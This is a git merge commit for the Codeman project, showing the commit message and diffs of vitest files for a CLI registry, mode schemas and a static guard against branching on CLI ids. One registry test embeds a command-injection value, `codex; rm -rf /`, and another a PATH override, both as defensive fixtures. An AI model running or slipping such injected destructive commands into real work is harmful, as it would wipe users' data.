Merge pull request #357 from dignfei/feat/docker-adopt-existing-container

feat(docker): attach a case to an already-running container

Conflicts came from work that landed after the PR was opened, and each is
resolved onto the newer abstraction rather than by keeping the older code:

- `defaultDockerCommandForMode` is registry-driven since #347, so the PR's
  `runsAsRoot` arm became `overlays.docker.rootCommand` (claude only). Claude
  Code still refuses `--dangerously-skip-permissions` as root in 2.1.261 and the
  refusal is visible only inside the container, so an adopted root container
  otherwise just shows a dead pane. Which flag to drop is a per-CLI fact, and
  `test/cli-registry-no-id-branching.test.ts` forbids expressing it as a branch.

- The probe's mode list and its mode -> binary table both duplicated the
  registry. They now read `enabledCliIds()` / `discovery.binaries[0]`, which is
  also what fixes the merge's silent regression: the hand-written list predates
  `omp`, and the run menu gates every docker case on this probe, so owned
  containers would have lost that mode. `shell` needs no arm — it declares no
  binary, so it is dropped from the lookup and reported available regardless.

- The per-mode `mode === 'claude' && !cliDir` chain in `tmux-manager.ts` is one
  `missingCliMessage(mode)` gate since #347; the PR's docker exemption moved onto
  it. Its test now pins the single gate instead of counting seven arms.

- The create arm keeps #349's swap-limit warning filter, which the adopted arm
  never reaches; the run-mode list gains `omp` from #353.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01TecFD9hvPYJ1mkkMtBQbT1
This commit is contained in:
Codeman maintainer
2026-09-05 16:21:51 +02:00
144 changed files with 11972 additions and 1772 deletions
+26 -9
View File
@@ -48,7 +48,7 @@ import { describe, expect, it } from 'vitest';
import { readFileSync } from 'node:fs';
import { fileURLToPath } from 'node:url';
import { join } from 'node:path';
import { CreateSessionSchema, QuickStartSchema } from '../src/web/schemas.js';
import { CreateSessionSchema, QuickStartSchema, sessionModeIds } from '../src/web/schemas.js';
import { isExternalCliMode } from '../src/session.js';
import { hooksAvailableForMode } from '../src/web/session-wait-registry.js';
import type { SessionMode } from '../src/types/session.js';
@@ -63,14 +63,20 @@ const SKILL_FILES = [
'reference/verbs.md',
];
/** Modes the API actually accepts, read off the schema rather than restated here. */
function schemaModes(schema: typeof CreateSessionSchema | typeof QuickStartSchema): SessionMode[] {
// `mode` is `z.enum([...]).optional()`; unwrap the optional to reach `.options`.
return (schema as unknown as { shape: { mode: { unwrap(): { options: SessionMode[] } } } }).shape.mode.unwrap()
.options;
/**
* Modes the API actually accepts, read off the runtime source of truth rather than restated
* here — the whole point of this file is to catch the skill docs drifting from what the API
* takes, which a second hardcoded list could not do.
*
* `mode` used to be a `z.enum([...])` whose `.options` this unwrapped. It is now resolved at
* parse time from the enabled CLI registry (so enabling a CLI does not need a restart), and
* there is no frozen member list on the schema to read; `sessionModeIds()` is that list.
*/
function schemaModes(): SessionMode[] {
return sessionModeIds() as SessionMode[];
}
const MODES = schemaModes(CreateSessionSchema);
const MODES = schemaModes();
const EXTERNAL_MODES = MODES.filter(isExternalCliMode);
/**
@@ -101,10 +107,21 @@ function modesIn(run: string): SessionMode[] {
}
describe('agent skill run-mode lists', () => {
it('derives the mode list from the schema, and both endpoints agree', () => {
it('derives the mode list from the registry, and both endpoints agree', () => {
expect(MODES).toContain('pi');
expect(new Set(schemaModes(QuickStartSchema))).toEqual(new Set(MODES));
expect(EXTERNAL_MODES.length).toBeGreaterThan(1);
// Guard against a parsing/registry regression silently making every scan below vacuous.
expect(MODES.length).toBeGreaterThanOrEqual(9);
// Both endpoints now share one mode validator, so comparing member lists would compare
// a thing with itself. Parse through each schema instead: that survives the two
// drifting apart later, which is what this assertion is actually for.
for (const mode of MODES) {
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode }).success).toBe(true);
expect(QuickStartSchema.safeParse({ caseName: 'demo', mode }).success).toBe(true);
}
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'not-a-cli' }).success).toBe(false);
expect(QuickStartSchema.safeParse({ caseName: 'demo', mode: 'not-a-cli' }).success).toBe(false);
});
it('documents the CLI availability probe for every agent mode', () => {
+19 -1
View File
@@ -120,13 +120,31 @@ describe('App Settings modal structure', () => {
const select = modal.match(/id="appSettingsClaudeModel"([\s\S]*?)<\/select>/)?.[1] ?? '';
// The cards render the base models; the [1m] rows exist so that base + the
// context switch can compose back into a real claudeModel value.
for (const value of ['opus[1m]', 'claude-fable-5[1m]', 'claude-opus-4-6[1m]']) {
for (const value of ['opus[1m]', 'claude-fable-5[1m]', 'claude-fable-5-1[1m]', 'claude-opus-4-6[1m]']) {
expect(select).toContain(`value="${value}"`);
}
expect(select).toContain('data-ctx="1"');
expect(modal).toContain('id="appSettingsOpusContext1m"');
});
it('models: offers Fable 5.1 as a card and to task routing', () => {
const modal = settingsModal();
const select = modal.match(/id="appSettingsClaudeModel"([\s\S]*?)<\/select>/)?.[1] ?? '';
// The cards are built from these options, so data-ctx is what keeps the 1M
// switch live for the model rather than greying the row out.
expect(select).toMatch(/value="claude-fable-5-1"[^>]*data-ctx="1"/);
for (const id of [
'appSettingsDefaultModel',
'appSettingsModelExplore',
'appSettingsModelImplement',
'appSettingsModelTest',
'appSettingsModelReview',
]) {
const routing = modal.match(new RegExp(`id="${id}"([\\s\\S]*?)</select>`))?.[1] ?? '';
expect(routing, `${id} does not offer Fable 5.1`).toContain('value="claude-fable-5-1"');
}
});
it('has retired the modal-tab chrome everywhere, not just here', () => {
// Session Options and Add Case moved onto this same `set-*` surface, so the
// old tab classes have no users left. A reappearance means a modal drifted
+101
View File
@@ -0,0 +1,101 @@
/**
* @fileoverview The three per-mode predicates that used to be hand-written id lists, and the
* invariant that they are INDEPENDENT.
*
* `isExternalCliMode()`, `isAltScreenStripMode()` and `hooksAvailableForMode()` describe three
* different, deliberately unequal sets. Deriving any one of them from another looks like a
* tidy-up and has already shipped a bug: `shell` has no hooks but is NOT an external CLI, so
* a hooks predicate written as `!isExternalCliMode()` accepted `until=stop` on a shell session
* and then blocked the caller for their entire timeout — an infinite wait wearing a timeout's
* clothes, which is precisely what that guard exists to prevent.
*
* Keeping them as three separate `CliCapabilities` fields makes that structural. This file is
* what stops someone collapsing them again.
*
* Port: none (pure predicates over registry data).
*/
import { describe, it, expect } from 'vitest';
import { isExternalCliMode, isAltScreenStripMode } from '../src/session.js';
import { hooksAvailableForMode } from '../src/web/session-wait-registry.js';
import { enabledCliIds } from '../src/config/cli-registry/registry.js';
import type { SessionMode } from '../src/types/session.js';
const MODES = enabledCliIds() as SessionMode[];
describe('per-mode capability predicates', () => {
it.each([
// mode external altScreenStrip hooks
['claude', false, true, true],
['shell', false, false, false],
['opencode', true, false, false],
['codex', true, true, false],
['gemini', true, true, false],
['antigravity', true, false, false],
['pi', true, false, false],
['grok', true, false, false],
['deepseek', true, false, true],
['omp', true, false, false],
] as Array<[SessionMode, boolean, boolean, boolean]>)(
'%s: external=%s altScreenStrip=%s hooks=%s',
(mode, external, altScreen, hooks) => {
expect(isExternalCliMode(mode)).toBe(external);
expect(isAltScreenStripMode(mode)).toBe(altScreen);
expect(hooksAvailableForMode(mode)).toBe(hooks);
}
);
it('covers every enabled mode (sanity)', () => {
// If a CLI is added without a row above, this fails rather than the table silently
// describing a subset of reality.
expect(MODES.length).toBe(10);
});
it('keeps the three predicates genuinely distinct', () => {
// Not "they happen to differ today" — each pair differs on a NAMED mode, and each of
// those disagreements is load-bearing.
const external = MODES.filter(isExternalCliMode);
const altScreen = MODES.filter(isAltScreenStripMode);
const hooks = MODES.filter((m) => hooksAvailableForMode(m));
expect(external).not.toEqual(altScreen);
expect(external).not.toEqual(hooks);
expect(altScreen).not.toEqual(hooks);
// claude is the mode that separates all three: not external, IS stripped, HAS hooks.
expect(isExternalCliMode('claude')).toBe(false);
expect(isAltScreenStripMode('claude')).toBe(true);
expect(hooksAvailableForMode('claude')).toBe(true);
// deepseek is external AND has hooks — the pairing that makes "external ⇒ no hooks" false.
expect(isExternalCliMode('deepseek')).toBe(true);
expect(hooksAvailableForMode('deepseek')).toBe(true);
});
it('does not accept a hook-only wait on a shell session', () => {
// The exact historical bug, reproduced. `shell` is not external, so any hooks predicate
// derived from `isExternalCliMode` would answer true here and hang the caller.
expect(isExternalCliMode('shell')).toBe(false);
expect(hooksAvailableForMode('shell')).toBe(false);
});
it("treats deepseek's hooks as a per-SESSION question, not a per-mode one", () => {
// 'supervised': real signals, but only while this session's bridge is actually armed and
// reachable. Answering from the mode alone promises a `stop` that never arrives.
expect(hooksAvailableForMode('deepseek')).toBe(true);
expect(hooksAvailableForMode('deepseek', { deepSeekStatusReporting: false })).toBe(false);
expect(hooksAvailableForMode('deepseek', { deepSeekBridgeUnreachable: true })).toBe(false);
// claude's are unconditional, so the same options change nothing.
expect(hooksAvailableForMode('claude', { deepSeekStatusReporting: false })).toBe(true);
expect(hooksAvailableForMode('claude', { deepSeekBridgeUnreachable: true })).toBe(true);
});
it('falls back conservatively for an unregistered mode', () => {
const unknown = 'not-a-cli' as SessionMode;
// External: disables Claude-specific parsing rather than pointing it at foreign output.
expect(isExternalCliMode(unknown)).toBe(true);
// No hooks: never promise a signal nothing will send.
expect(hooksAvailableForMode(unknown)).toBe(false);
// No full strip: leaving the alt screen alone is the safe default for an unknown TUI.
expect(isAltScreenStripMode(unknown)).toBe(false);
});
});
+228
View File
@@ -0,0 +1,228 @@
/**
* @fileoverview Loading and merging `~/.codeman/clis.json` over the stock catalog.
*
* Two properties matter most here and neither is obvious from reading the loader:
*
* 1. A BAD OVERRIDE MUST NOT BRICK A SHIPPED CLI. The file is hand-editable, so a typo is a
* matter of when, not if. A stock entry that fails validation after merge falls back to
* its pristine definition; a custom entry that fails is dropped. Neither takes the rest
* of the catalog down with it.
* 2. LOADING WRITES NOTHING. There is no settings UI and no write API in this build, so
* there is nothing to persist — and `src/web/schemas.ts` imports the registry just to
* validate a request, which would make any write here a filesystem side effect of
* parsing HTTP input.
*
* Port: none (`resolveRegistry` is pure; the on-disk cases use the per-file temp HOME from
* test/setup.ts).
*/
import { describe, it, expect, beforeEach, afterEach } from 'vitest';
import { existsSync, mkdirSync, readdirSync, readFileSync, writeFileSync } from 'node:fs';
import { dirname } from 'node:path';
import { dataPath } from '../src/config/instance.js';
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
import { resolveRegistry, loadCliRegistry, reloadCliRegistry, listClis } from '../src/config/cli-registry/registry.js';
import type { CliEntry } from '../src/config/cli-registry/types.js';
import { CreateSessionSchema, sessionModeIds } from '../src/web/schemas.js';
/** A complete, valid custom entry — the minimum a user would have to write by hand. */
function customEntry(id: string): Record<string, unknown> {
const template = STOCK_CLIS.find((e) => (e.id as string) === 'pi');
if (!template) throw new Error('pi is missing from the stock catalog');
return JSON.parse(JSON.stringify({ ...template, id, label: 'Custom', order: 999 })) as Record<string, unknown>;
}
function writeRegistryFile(contents: unknown): void {
const path = dataPath('clis.json');
mkdirSync(dirname(path), { recursive: true });
writeFileSync(path, typeof contents === 'string' ? contents : JSON.stringify(contents, null, 2), { mode: 0o600 });
}
describe('resolveRegistry (pure)', () => {
it('returns the stock catalog unchanged when there is no file', () => {
const warnings: string[] = [];
const { entries } = resolveRegistry(STOCK_CLIS, null, warnings);
expect(warnings).toEqual([]);
expect(entries.map((e) => e.id as string)).toEqual(STOCK_CLIS.map((e) => e.id as string));
expect(entries.every((e) => e.stock)).toBe(true);
});
it('applies a partial override without disturbing anything else', () => {
const warnings: string[] = [];
const { entries } = resolveRegistry(STOCK_CLIS, { schemaVersion: 1, clis: { grok: { enabled: false } } }, warnings);
expect(warnings).toEqual([]);
const byId = new Map(entries.map((e) => [e.id as string, e]));
expect(byId.get('grok')?.enabled).toBe(false);
// The override touched one key; everything else about grok, and every other CLI, stands.
expect(byId.get('grok')?.launch.variants[0].args[0]).toEqual({ lit: 'grok' });
expect(entries.filter((e) => e.enabled).length).toBe(STOCK_CLIS.length - 1);
});
it('replaces arrays wholesale rather than merging them element-wise', () => {
// A half-merged searchDirs (or worse, a half-merged args list) is not a reasonable
// thing to hand a spawn path, so arrays replace.
const warnings: string[] = [];
const { entries } = resolveRegistry(
STOCK_CLIS,
{ schemaVersion: 1, clis: { pi: { discovery: { searchDirs: ['/only/this'] } } } },
warnings
);
expect(entries.find((e) => (e.id as string) === 'pi')?.discovery.searchDirs).toEqual(['/only/this']);
});
it('adds a well-formed custom entry', () => {
const warnings: string[] = [];
const { entries } = resolveRegistry(
STOCK_CLIS,
{ schemaVersion: 1, clis: { mycli: customEntry('mycli') } },
warnings
);
expect(warnings).toEqual([]);
const mine = entries.find((e) => (e.id as string) === 'mycli');
expect(mine?.label).toBe('Custom');
// Forced false regardless of what the file claimed — provenance is not user-assertable.
expect(mine?.stock).toBe(false);
});
it('drops an invalid custom entry but keeps the whole stock catalog', () => {
const warnings: string[] = [];
const { entries } = resolveRegistry(
STOCK_CLIS,
{ schemaVersion: 1, clis: { broken: { label: 'nope' } } },
warnings
);
expect(entries.map((e) => e.id as string)).toEqual(STOCK_CLIS.map((e) => e.id as string));
expect(warnings.join(' ')).toContain('broken');
});
it('falls back to the PRISTINE definition when an override breaks a stock CLI', () => {
// This is the one that matters: a fat-fingered override of a shipped CLI must degrade to
// the shipped behaviour, never to a CLI that cannot launch.
const warnings: string[] = [];
const { entries } = resolveRegistry(
STOCK_CLIS,
{
schemaVersion: 1,
clis: { codex: { launch: { variants: [{ id: 'x', args: [{ lit: 'codex; rm -rf /' }] }] } } },
},
warnings
);
const codex = entries.find((e) => (e.id as string) === 'codex');
expect(codex?.launch.variants[0].args[0]).toEqual({ lit: 'codex' });
expect(warnings.join(' ')).toContain('codex');
});
it('refuses to let a custom entry impersonate a stock one', () => {
const warnings: string[] = [];
const impostor = { ...customEntry('grok'), stock: true, label: 'Not Grok' };
const { entries } = resolveRegistry(STOCK_CLIS, { schemaVersion: 1, clis: { grok: impostor } }, warnings);
const grok = entries.filter((e) => (e.id as string) === 'grok');
expect(grok).toHaveLength(1);
expect(grok[0].stock).toBe(true);
});
it('sorts by order', () => {
const { entries } = resolveRegistry(STOCK_CLIS, null, []);
const orders = entries.map((e) => e.order);
expect([...orders].sort((a, b) => a - b)).toEqual(orders);
});
});
describe('loadCliRegistry (on disk)', () => {
beforeEach(() => reloadCliRegistry());
afterEach(() => reloadCliRegistry());
it('WRITES NOTHING when no file exists', () => {
const path = dataPath('clis.json');
expect(existsSync(path)).toBe(false);
const { entries, warnings } = loadCliRegistry();
expect(entries).toHaveLength(STOCK_CLIS.length);
expect(warnings).toEqual([]);
// The whole reason this build has no seeding ratchet: importing the registry (which
// schemas.ts does, to validate a request) must not touch the filesystem.
expect(existsSync(path)).toBe(false);
});
it('WRITES NOTHING when a file does exist', () => {
writeRegistryFile({ schemaVersion: 1, clis: { grok: { enabled: false } } });
const before = readFileSync(dataPath('clis.json'), 'utf-8');
loadCliRegistry();
expect(readFileSync(dataPath('clis.json'), 'utf-8')).toBe(before);
});
it('tolerates a file written by a future version that carries seededStockIds', () => {
// Forward compatibility: a later build persists that key. Reading it must not fail.
writeRegistryFile({ schemaVersion: 1, seededStockIds: ['claude', 'shell'], clis: {} });
const { entries, warnings } = loadCliRegistry();
expect(entries).toHaveLength(STOCK_CLIS.length);
expect(warnings).toEqual([]);
});
it('QUARANTINES malformed JSON rather than overwriting it', () => {
// The file is hand-editable, so a syntax error is far more likely to be a half-finished
// edit than junk. Renaming keeps the user's work; truncating would destroy it.
writeRegistryFile('{ "clis": { oops');
const { entries, warnings } = loadCliRegistry();
expect(entries).toHaveLength(STOCK_CLIS.length);
expect(warnings.join(' ')).toContain('not valid JSON');
const siblings = readdirSync(dirname(dataPath('clis.json')));
expect(siblings.some((f) => f.startsWith('clis.json.invalid-'))).toBe(true);
expect(siblings).not.toContain('clis.json');
});
});
describe('the mode allowlist resolves at PARSE time, not import time', () => {
beforeEach(() => reloadCliRegistry());
afterEach(() => reloadCliRegistry());
it('stops accepting a mode as soon as its CLI is disabled — no restart', () => {
// The regression this pins: SESSION_MODE_IDS used to be computed once at module load,
// so toggling a CLI updated the Run menu while `POST /api/sessions` kept answering
// INVALID_INPUT until the server restarted. Validation and the menu disagreed about
// which CLIs existed, and the flow the feature was built around simply did not work.
expect(sessionModeIds()).toContain('grok');
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'grok' }).success).toBe(true);
writeRegistryFile({ schemaVersion: 1, clis: { grok: { enabled: false } } });
reloadCliRegistry();
expect(sessionModeIds()).not.toContain('grok');
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'grok' }).success).toBe(false);
// ...and the schema object itself was never rebuilt.
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'claude' }).success).toBe(true);
});
it('admits a custom CLI as a run mode the moment it loads', () => {
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'mycli' }).success).toBe(false);
writeRegistryFile({ schemaVersion: 1, clis: { mycli: customEntry('mycli') } });
reloadCliRegistry();
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'mycli' }).success).toBe(true);
});
it('follows the registry for env-prefix allowlisting too', () => {
// Same import-time freeze applied to ALLOWED_ENV_PREFIXES, with the same symptom.
const withGrokEnv = { workingDir: '/tmp', mode: 'claude', envOverrides: { XAI_API_KEY: 'x' } };
expect(CreateSessionSchema.safeParse(withGrokEnv).success).toBe(true);
writeRegistryFile({ schemaVersion: 1, clis: { grok: { enabled: false } } });
reloadCliRegistry();
// XAI_ was grok's contribution; with grok disabled nothing allowlists it any more.
expect(CreateSessionSchema.safeParse(withGrokEnv).success).toBe(false);
});
it('never lets a registry entry unblock a hard-blocked key', () => {
// BLOCKED_ENV_KEYS is deliberately NOT registry-driven. Even a pathological entry
// claiming a prefix that covers everything must not reach PATH.
const evil = customEntry('evil');
(evil as { env: { allowedPrefixes: string[] } }).env.allowedPrefixes = ['P'];
writeRegistryFile({ schemaVersion: 1, clis: { evil } });
reloadCliRegistry();
// The schema rejects a 1-char prefix outright, so the entry is dropped...
expect(listClis().some((e) => (e.id as string) === 'evil')).toBe(false);
// ...and PATH stays blocked regardless.
expect(
CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'claude', envOverrides: { PATH: '/evil' } }).success
).toBe(false);
});
});
+373
View File
@@ -0,0 +1,373 @@
/**
* @fileoverview Static guard: no code outside the stock catalog branches on a CLI's ID.
*
* The whole point of the registry is that behaviour which differs between CLIs is DATA (a
* `CliEntry` field) or a NAMED PROFILE selected by a field — never `mode === 'codex'`. A
* single reintroduced id-check is how the old shape grows back, one "just this once" at a
* time, until adding a CLI means editing forty files again.
*
* This guard was cited by name in three separate file headers of an earlier attempt at this
* refactor and never actually written — and in its absence four id-branches survived that
* migration, one of them dead code sitting directly under the generic check that replaced it.
* So the guard is not decoration: it is the thing that makes the rule true rather than
* aspirational.
*
* ## What is allowlisted, and why an allowlist rather than zero
*
* Some branches are not CLI-behaviour branches at all, and forcing them through a capability
* would make the code worse, not better. Each entry below carries its reason. The categories:
*
* - **Legacy `<Mode>Config` plumbing.** `POST /api/sessions` has carried named per-CLI
* config objects since before the registry, and `docs/versioning-policy.md` makes that
* wire shape public. Selecting `codexConfig` for codex is a fact about the HTTP API, not
* about codex, and the `Session` constructor mirrors it. The registry already owns the
* translation (`launch.legacyConfigField`); collapsing the constructor too is a public-API
* change and belongs in its own PR.
* - **Claude's remote/docker command construction.** Claude's pane command varies with the
* session's permission mode and its docker form is `--session-id … || resume`, semantics
* no other CLI has and a static `overlays.command` string cannot express.
* - **Genuinely per-CLI prose.** One error message that explains why a deepseek session in
* particular will never deliver a `stop` signal.
*
* ⚠️ Adding an entry here is a decision, not a formality. If the branch is about what a CLI
* CAN DO, it belongs in `CliCapabilities` instead — and if it needs to run code, in
* `config/cli-registry/profiles.ts` as a named profile.
*
* Port: none (pure static analysis).
*/
import { describe, it, expect } from 'vitest';
import { readdirSync, readFileSync, statSync } from 'node:fs';
import { join, relative, sep } from 'node:path';
import { fileURLToPath } from 'node:url';
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
const SRC = fileURLToPath(new URL('../src', import.meta.url));
/**
* Files exempt from the scan entirely, because naming CLI ids IS their job.
*
* `stock.ts` is the catalog. The per-CLI resolver modules are each ABOUT one CLI and look up
* their own entry by id — the same reason the catalog may, and the reason they are not a
* loophole: they resolve a binary, they decide no behaviour.
*/
const EXEMPT_FILES = new Set(
[
'config/cli-registry/stock.ts',
'utils/claude-cli-resolver.ts',
'utils/opencode-cli-resolver.ts',
'utils/codex-cli-resolver.ts',
'utils/gemini-cli-resolver.ts',
'utils/antigravity-cli-resolver.ts',
'utils/pi-cli-resolver.ts',
'utils/grok-cli-resolver.ts',
'utils/deepseek-cli-resolver.ts',
// Names the deepseek launcher profile's implementation; keyed by profile, not by id.
'utils/cli-launcher.ts',
].map((p) => p.split('/').join(sep))
);
/**
* Specific surviving branches, each with the reason it is not a capability.
* Keyed `<relative path>::<the matched expression>`.
*/
const ALLOWED_BRANCHES: Record<string, string> = {
// --- Legacy <Mode>Config plumbing (public wire shape, see the header) ---
"web/routes/session-routes.ts::mode === 'opencode'": 'legacy <Mode>Config plumbing',
"web/routes/session-routes.ts::mode === 'codex'": 'legacy <Mode>Config plumbing',
"web/routes/session-routes.ts::mode === 'gemini'": 'legacy <Mode>Config plumbing',
"web/routes/session-routes.ts::mode === 'antigravity'": 'legacy <Mode>Config plumbing',
"web/routes/session-routes.ts::mode === 'pi'": 'legacy <Mode>Config plumbing',
"web/routes/session-routes.ts::mode === 'grok'": 'legacy <Mode>Config plumbing',
"web/routes/session-routes.ts::mode === 'deepseek'": 'legacy <Mode>Config plumbing',
"web/server.ts::mode === 'opencode'": 'legacy <Mode>Config plumbing (session recovery)',
"web/server.ts::mode === 'codex'": 'legacy <Mode>Config plumbing (session recovery)',
"web/server.ts::mode === 'gemini'": 'legacy <Mode>Config plumbing (session recovery)',
"web/server.ts::mode === 'antigravity'": 'legacy <Mode>Config plumbing (session recovery)',
"web/server.ts::mode === 'pi'": 'legacy <Mode>Config plumbing (session recovery)',
"web/server.ts::mode === 'grok'": 'legacy <Mode>Config plumbing (session recovery)',
"web/server.ts::mode === 'deepseek'": 'legacy <Mode>Config plumbing (session recovery)',
"web/server.ts::mode === 'omp'": 'legacy <Mode>Config plumbing (session recovery)',
// --- Claude's remote/docker command construction ---
"tmux-manager.ts::mode === 'claude'":
"claude's remote pane command carries per-session permission flags, and its docker form is " +
'`--session-id … || resume`; neither fits a static overlays.command string',
// --- Per-CLI prose and launch handling not yet generalised ---
"web/session-wait-registry.ts::mode === 'deepseek'":
'an error message explaining why THIS mode in particular will never deliver a stop signal',
"web/routes/approval-routes.ts::mode === 'deepseek'":
'the DeepSeek status bridge is the only non-claude source of approval items',
"cron/cron-service.ts::mode === 'claude'": 'cron launch handling, not yet generalised',
"cron/cron-service.ts::mode === 'shell'": 'cron launch handling, not yet generalised',
"web/routes/session-routes.ts::mode === 'claude'": 'docker case bookkeeping keyed on the claude conversation id',
"cli.ts::mode === 'shell'": 'a CLI-table label, not behaviour',
// --- Negated forms surfaced when BRANCH_PATTERN widened past `===` (see its comment) ---
//
// None of these is a regression: every one predates the registry and survived the
// conversion only because the guard could not see `!==`. They are listed here with reasons
// rather than silently converted, because each would change behaviour or invent a
// capability field, and this change is meant to change nothing a user can see.
// Read My Mind + intent capture read CLAUDE's OWN transcript, so `mode === 'claude'` is
// the right question and `hooksAvailableForMode()` is NOT — once `deepseek` earned a yes
// there, the shared predicate silently widened both to a mode with no transcript to read.
// CLAUDE.md documents this as deliberate and `test/deepseek-mode.test.ts` pins it, so a
// capability here would be actively wrong.
"web/routes/readmymind-routes.ts::mode !== 'claude'":
'deliberately mode-not-capability; pinned by deepseek-mode.test.ts',
"web/server.ts::mode !== 'claude'":
"intent capture reads Claude's own transcript, and the recovered-workspace hook sweep " +
'writes .claude hooks — both are claude questions, not capability ones (see CLAUDE.md)',
// The TUI is a CLIENT of the server, and these two are about what it can offer for a row:
// resume builds a `claude --resume`, and the mode badge is suppressed for the default mode
// purely so the common case reads clean. The badge one is cosmetic and not a capability at
// all; the resume one would need a "resumable from a claude transcript" field that nothing
// else would read.
"tui/tui-app.ts::mode !== 'claude'": 'TUI resume builds a claude --resume; claude-transcript-only by construction',
"tui/tui-render.ts::mode !== 'claude'": 'cosmetic: suppress the mode badge for the default mode',
// Push approve/deny BUTTONS are withheld for dsh because the answer route refuses
// keystrokes for its dialogs (third-party TUI, unmeasured contract) — a button whose
// answer would be refused is worse than none. Arguably wants an "answerable dialogs"
// capability; deliberately not invented here.
"web/routes/hook-event-routes.ts::mode !== 'deepseek'":
'push buttons withheld where the answer route refuses keystrokes',
// Legacy <Mode>Config plumbing, same category as the `===` entries above.
"web/routes/session-routes.ts::mode !== 'omp'": 'legacy <Mode>Config plumbing (resolveOmpConfigForCreate)',
// ⚠️ Scaffolded-case hooks. This chain excludes seven CLIs but NOT `deepseek`, while its
// own comment says DeepSeek uses its own system — so a scaffolded deepseek case gets a
// Claude hooks block written into it. That inconsistency is UPSTREAM's and predates this
// change; expressing the chain as a capability would have to pick a side and would
// therefore be a behaviour change. Left exactly as found, and named here so it is visible.
"web/routes/session-routes.ts::mode !== 'opencode'":
'scaffolded-case hooks + the COD-91 self-heal skip; the chain omits deepseek upstream, ' +
'so any capability form would change behaviour — see PR discussion',
"web/routes/session-routes.ts::mode !== 'codex'": 'scaffolded-case hooks (see the opencode entry)',
"web/routes/session-routes.ts::mode !== 'gemini'": 'scaffolded-case hooks (see the opencode entry)',
"web/routes/session-routes.ts::mode !== 'antigravity'": 'scaffolded-case hooks (see the opencode entry)',
"web/routes/session-routes.ts::mode !== 'pi'": 'scaffolded-case hooks (see the opencode entry)',
"web/routes/session-routes.ts::mode !== 'grok'": 'scaffolded-case hooks (see the opencode entry)',
};
/** Every stock CLI id, derived rather than restated so a new entry is covered automatically. */
const IDS = STOCK_CLIS.map((e) => e.id as string);
const ID_ALT = IDS.join('|');
/**
* The shapes an id-branch actually takes, all four of them.
*
* ⚠️ An earlier version of this guard matched `===` ONLY, and that was not a small gap: the
* refactor it guards converted the `===` sites and left the negated ones, so 36
* `mode !== '<id>'` branches survived it — 28 in session-routes.ts alone, including a
* seven-mode chain auto-enabling Ralph under a comment asking the next person to keep it in
* step with a predicate BY HAND, while the sibling quick-start path already read
* `capabilities.ralph`. A guard that sees half the shapes reports a count measured over the
* half it happens to catch.
*
* `switch`/`case` and `[...].includes(mode)` are here for the same reason: each is a way of
* writing the banned rule that the narrower pattern could not see.
*/
const BRANCH_PATTERN = new RegExp(
[
// mode === 'codex' / mode !== 'codex'
`\\b(?:mode|id|agentType)\\s*[!=]==\\s*'(?:${ID_ALT})'`,
// case 'codex':
`\\bcase\\s+'(?:${ID_ALT})'\\s*:`,
// ['codex', 'gemini'].includes(mode) — the id list IS the branch, wherever `mode` sits
`'(?:${ID_ALT})'\\s*(?:,\\s*'(?:${ID_ALT})'\\s*)*\\]\\s*\\.includes\\(`,
].join('|'),
'g'
);
/**
* BLANK comment lines before scanning, rather than dropping them. Comments legitimately quote
* the very pattern being banned — several of them explain WHY a branch was removed — and
* flagging those would push the next author to delete the explanation rather than the code.
*
* ⚠️ Blanking rather than removing is what keeps reported line numbers pointing at the real
* file. Dropping the lines shifted every finding upward by however many comments preceded it,
* so the guard's own diagnostic sent you to the wrong place — which for a rule about not
* writing a branch is exactly the moment you need the right one.
*/
function uncommented(source: string): string {
return source
.split('\n')
.map((line) => (/^\s*(\/\/|\*|\/\*)/.test(line) ? '' : line))
.join('\n');
}
function walk(dir: string, out: string[] = []): string[] {
for (const name of readdirSync(dir)) {
const full = join(dir, name);
if (statSync(full).isDirectory()) walk(full, out);
else if (name.endsWith('.ts')) out.push(full);
}
return out;
}
interface Finding {
file: string;
expression: string;
line: number;
key: string;
}
function scan(): { findings: Finding[]; filesScanned: number } {
const findings: Finding[] = [];
const files = walk(SRC);
let scanned = 0;
for (const full of files) {
const rel = relative(SRC, full);
if (EXEMPT_FILES.has(rel)) continue;
scanned++;
const lines = uncommented(readFileSync(full, 'utf-8')).split('\n');
lines.forEach((line, i) => {
BRANCH_PATTERN.lastIndex = 0; // shared /g regex — see utils/regex-patterns.ts
for (const match of line.matchAll(BRANCH_PATTERN)) {
const expression = match[0].replace(/\s+/g, ' ').replace(/^(?:id|agentType)/, 'mode');
const posix = rel.split(sep).join('/');
findings.push({ file: posix, expression, line: i + 1, key: `${posix}::${expression}` });
}
});
}
return { findings, filesScanned: scanned };
}
const { findings, filesScanned } = scan();
describe('no CLI-id branching outside the stock catalog', () => {
it('scans a meaningful number of source files (sanity)', () => {
// If this collapses toward zero the walker or the exemption list drifted and every
// assertion below would pass vacuously. Fix the scanner, do not delete the test.
expect(filesScanned).toBeGreaterThan(100);
});
it('builds its id list from the live catalog (sanity)', () => {
expect(IDS).toContain('claude');
expect(IDS).toContain('deepseek');
expect(IDS.length).toBeGreaterThanOrEqual(9);
});
it('still detects a branch when one exists (anti-vacuity)', () => {
// Proves the pattern actually matches every shape it is meant to ban, so a regex typo
// cannot silently turn this whole file into a no-op. One case per alternative, because
// the `===`-only version of this test passed happily while `!==` went unseen.
const samples = [
"if (session.mode === 'codex') { doSomething(); }",
"if (mode !== 'shell' && mode !== 'deepseek') { doSomething(); }",
"switch (mode) { case 'gemini': return 1; }",
"if (['codex', 'gemini'].includes(mode)) { doSomething(); }",
];
for (const sample of samples) {
BRANCH_PATTERN.lastIndex = 0;
expect(sample.match(BRANCH_PATTERN), `pattern missed: ${sample}`).not.toBeNull();
}
BRANCH_PATTERN.lastIndex = 0;
expect(uncommented(" // mode === 'codex'\ncode();").match(BRANCH_PATTERN)).toBeNull();
});
it('has no unapproved id branches', () => {
const offenders = findings.filter((f) => !(f.key in ALLOWED_BRANCHES));
